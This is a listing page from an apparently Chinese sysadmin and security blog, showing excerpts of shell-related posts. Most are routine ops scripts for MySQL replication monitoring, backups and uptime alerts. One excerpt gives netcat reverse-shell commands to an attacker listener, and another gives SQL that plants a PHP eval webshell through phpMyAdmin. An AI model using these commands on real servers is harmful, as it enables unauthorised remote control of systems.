老男孩Shell企业面试题30道附答案

2016-9-13 Mr.linus 运维技术

企业面试题1: (生产实战案例):监控MySQL主从同步是否异常,如果异常,则发送短信或者邮件给管理员。提示:如果没主从同步环境,可以用下面文本放到文件里读取来模拟: 阶段1:开发一个守护进程脚本每30秒实现检测一次。 阶段2:如果同步出现如下错误号(1158,1159,1008,1007,1062),则跳过错误。 阶段3:请使用数组技术实现上述脚本(获取主从判断及错误号部分) [root@oldboy~]# mysql -uroot -p'oldboy' -S /data/3307/mysql.sock ...

阅读全文>>

标签: shell

评论(0) 浏览(1735)

Linux安全检查脚本

2016-7-10 Mr.linus 运维技术

本文原创作者:鬼魅羊羔 因为本人工作中要涉及到很多东西,审计(日志、数据神马的)、源代码审计、渗透测试、开发一大堆东西,有些东西,越是深入去做,越会发现,没有工具或脚本,工作起来是有多么的坑。 工作的这段时间,自己写了几个工具:Web日志分析、linux服务器安全检查脚本、webshell查杀和webshell文件监控工具,接下来找机会,我会慢慢的都给大家共享出来。 其实我遇到的情况,很多管理员都会遇到,一堆服务器,尤其是linux的,没办法像windows那样便捷,现成的工具也没有辣么多,有些工具呢,你还得装环境,但是,无论是在客户那里,还是在自己的服务器上,都不天愿意装一堆环境,纯手...

阅读全文>>

标签: 脚本 shell 代码审计 渗透测试 日志分析 系统性能

评论(2) 浏览(1508)

自动备份与删除历史备份shell脚本

2016-5-29 Mr.linus 运维技术

脚本说明: 把需要备份的目录或文件写在project.list文件中,一行一个; 脚本通过for循环来读取project.list文件,对每行文件进行tar压缩; 根据备份日期作为文件名; 相关操作都会记录到日志文件中; 自动删除备份时间超过30天的文件。  01 #!/bin/bash ...

阅读全文>>

标签: shell

评论(0) 浏览(1184)

Linux用shell脚本监控网站运行状态并发告警邮件

2016-4-4 Mr.linus 运维技术

#!/bin/bash # DATE=`date "+%Y.%m.%d-%H:%M:%S"` ACCESS_DIR=/root/curl/access ERRO_DIR=/root/curl/erro SUCCESS_DIR=/root/curl/success FILE=`date "+%Y.%m.%d-%H"` WRONG(){     cat $ERRO_DIR/$FILE | awk -F ' ' '{print $2$3"\n"}'#有...

阅读全文>>

标签: linux shell

评论(0) 浏览(2166)

反弹Linux得到shell的正确方式

2015-5-30 Mr.linus 信息安全

很多时候我们不能简简单单地利用nc反弹得到一个命令行shell 比如那台服务器在内网 而且没有nc 更有甚者连编译器都没有 所以连自己编译nc都难以做到 我最近遇到的一台内网中的hp ux就存在如上情况 下面是解决方案 1. NETCAT with GAPING_SECURITY_HOLE enabled: (存在-e选项) TARGET: nc 192.168.1.133 8080 -e /bin/bash ATTACKER: nc -n -vv -l -p 8080 2. NETCAT with GAPING_SECURITY_HOLE disabled: (不存...

阅读全文>>

标签: linux shell

评论(0) 浏览(1637)

phpmyadmin后台拿shell

2015-5-26 Mr.linus 信息安全

方法一: CREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL ); INSERT INTO `mysql`.`xiaoma` (`xiaoma1` )VALUES ('<?php @eval($_POST[xiaoma])?>'); SELECT xiaomaFROM study INTO OUTFILE 'E:/wamp/www/7.php'; ----以上同时执行,在数据库: mysql 下创建一个表名为:xiaoma,字段为xiaoma1,导出到E:/wamp/www/7.php 一句话连接密码...

阅读全文>>

标签: shell

评论(0) 浏览(1606)

菜单式Shell运维脚本调试小记

2015-5-23 Mr.linus 运维技术

今天上午,同事叫我帮他看下他正在写的脚本到底哪里出了问题,执行总是达不到预期功能。于是ssh连过去看能否发现问题,经过多次Debug定位与排除,问题终于得到解决。   同事在网上down了一个脚本菜单模板,想把我们已经存在的功能脚本整合到一起,做成多功能的Linux运维工具。目前已经添加了挺多功能,而早上才添加的一个抓取高占用CPU的Java线程功能时出现了无法出现交互界面的问题,而单独去执行这个子脚本又是正常的。 我将这个案子拿到手之后,第一件事就是打开了主菜单,分析了一下菜单功能原理和大致结构。通过断点定位法我找到问题出现的位置: ...

阅读全文>>

标签: linux shell

评论(0) 浏览(1315)

Powered by Mr.Linus 蜀ICP备16005020号